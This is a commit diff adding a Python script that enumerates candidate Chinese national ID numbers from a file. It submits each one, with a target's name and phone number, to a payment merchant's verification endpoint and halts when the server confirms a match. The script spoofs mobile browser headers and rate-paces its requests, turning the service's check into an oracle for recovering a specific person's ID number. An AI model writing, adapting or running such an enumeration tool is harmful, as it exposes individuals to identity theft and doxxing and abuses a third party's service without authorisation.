|
| 1 | +import requests |
| 2 | +from concurrent.futures import ThreadPoolExecutor, as_completed |
| 3 | +import threading |
| 4 | +import json |
| 5 | +import time |
| 6 | + |
| 7 | +# 全局停止标志和锁 |
| 8 | +stop_event = threading.Event() |
| 9 | +print_lock = threading.Lock() |
| 10 | + |
| 11 | +# 输入基本信息 |
| 12 | +manager = input('请输入姓名: ') |
| 13 | +tel = input('请输入手机号: ') |
| 14 | + |
| 15 | +# 固定身份证文件路径 |
| 16 | +id_file = 'sfz.txt' |
| 17 | + |
| 18 | +# 读取身份证号文件 |
| 19 | +try: |
| 20 | + with open(id_file, 'r', encoding='utf-8') as f: |
| 21 | + id_list = [line.strip() for line in f if line.strip()] |
| 22 | +except FileNotFoundError: |
| 23 | + print(f"错误: 找不到文件 '{id_file}'") |
| 24 | + exit(1) |
| 25 | +except Exception as e: |
| 26 | + print(f"读取文件错误: {e}") |
| 27 | + exit(1) |
| 28 | + |
| 29 | +url = "https://ocbj.globebill.com/merchant/verifyCode" |
| 30 | +headers = { |
| 31 | + "Host": "ocbj.globebill.com", |
| 32 | + "Accept": "*/*", |
| 33 | + "Content-Type": "application/json", |
| 34 | + "Origin": "https://ocbj.globebill.com", |
| 35 | + "Sec-Fetch-Site": "same-origin", |
| 36 | + "Sec-Fetch-Mode": "cors", |
| 37 | + "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 18_7 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/26.4 Mobile/23E246 Safari/604.1", |
| 38 | + "Referer": "https://ocbj.globebill.com/cancelMerchantH5/html/logout.html", |
| 39 | + "Sec-Fetch-Dest": "empty", |
| 40 | + "X-Requested-With": "XMLHttpRequest", |
| 41 | + "Accept-Language": "zh-CN,zh-Hans;q=0.9", |
| 42 | + "Accept-Encoding": "gzip, deflate, br, zstd", |
| 43 | + "Connection": "keep-alive" |
| 44 | +} |
| 45 | + |
| 46 | +REQUEST_DELAY = 0.5 |
| 47 | +last_request_time = 0 |
| 48 | +time_lock = threading.Lock() |
| 49 | + |
| 50 | +def verify_id(idNo, index, total): |
| 51 | + """核验单个身份证号""" |
| 52 | + if stop_event.is_set(): |
| 53 | + return None |
| 54 | + |
| 55 | + with time_lock: |
| 56 | + global last_request_time |
| 57 | + elapsed = time.time() - last_request_time |
| 58 | + if elapsed < REQUEST_DELAY: |
| 59 | + time.sleep(REQUEST_DELAY - elapsed) |
| 60 | + last_request_time = time.time() |
| 61 | + |
| 62 | + payload = { |
| 63 | + "idNo": idNo, |
| 64 | + "tel": tel, |
| 65 | + "manager": manager |
| 66 | + } |
| 67 | + |
| 68 | + result = { |
| 69 | + 'index': index, |
| 70 | + 'idNo': idNo, |
| 71 | + 'success': False, |
| 72 | + 'result_str': f"{manager}-{idNo}-{tel}-🔴", |
| 73 | + 'raw_response': None, |
| 74 | + 'error': None |
| 75 | + } |
| 76 | + |
| 77 | + try: |
| 78 | + res = requests.post(url, headers=headers, json=payload, timeout=10) |
| 79 | + raw_text = res.text.strip() # 去除首尾空白 |
| 80 | + |
| 81 | + # 只保留原始响应的前100字符,避免打印太多 |
| 82 | + result['raw_response'] = raw_text[:100] + "..." if len(raw_text) > 100 else raw_text |
| 83 | + |
| 84 | + # 判断是否完全等于目标响应 |
| 85 | + if raw_text == '{"returnCode":"0000","returnMessage":"成功"}': |
| 86 | + result['success'] = True |
| 87 | + result['result_str'] = f"{manager}-{idNo}-{tel}-🟢" |
| 88 | + stop_event.set() |
| 89 | + |
| 90 | + except requests.exceptions.Timeout: |
| 91 | + result['error'] = "请求超时" |
| 92 | + except requests.exceptions.RequestException as e: |
| 93 | + result['error'] = f"请求异常: {str(e)}" |
| 94 | + except Exception as e: |
| 95 | + result['error'] = f"未知错误: {str(e)}" |
| 96 | + |
| 97 | + return result |
| 98 | + |
| 99 | +success_result = None |
| 100 | +completed_count = 0 |
| 101 | + |
| 102 | +with ThreadPoolExecutor(max_workers=3) as executor: |
| 103 | + pending_futures = { |
| 104 | + executor.submit(verify_id, idNo, i+1, len(id_list)): idNo |
| 105 | + for i, idNo in enumerate(id_list) |
| 106 | + } |
| 107 | + |
| 108 | + for future in as_completed(pending_futures): |
| 109 | + if success_result is not None: |
| 110 | + break |
| 111 | + |
| 112 | + completed_count += 1 |
| 113 | + result = future.result() |
| 114 | + |
| 115 | + if result is None: |
| 116 | + continue |
| 117 | + |
| 118 | + with print_lock: |
| 119 | + print(f"[{completed_count}/{len(id_list)}] 身份证: {result['idNo']}") |
| 120 | + if result['error']: |
| 121 | + print(f" 错误: {result['error']}") |
| 122 | + |
| 123 | + if result['success']: |
| 124 | + print(f" ✅ {result['result_str']}") |
| 125 | + success_result = result |
| 126 | + stop_event.set() |
| 127 | + for f in pending_futures: |
| 128 | + if not f.done(): |
| 129 | + f.cancel() |
| 130 | + break |
| 131 | + else: |
| 132 | + print(f" ❌ {result['result_str']}") |
| 133 | + |
| 134 | +time.sleep(1) |
| 135 | + |
| 136 | +print("\n" + "=" * 60) |
| 137 | +if success_result: |
| 138 | + print(f"🎉 核验成功: {success_result['result_str']}") |
| 139 | +else: |
| 140 | + print("🔴 全部核验失败") |
| 141 | + print(f"已完成: {completed_count}/{len(id_list)}") |
0 commit comments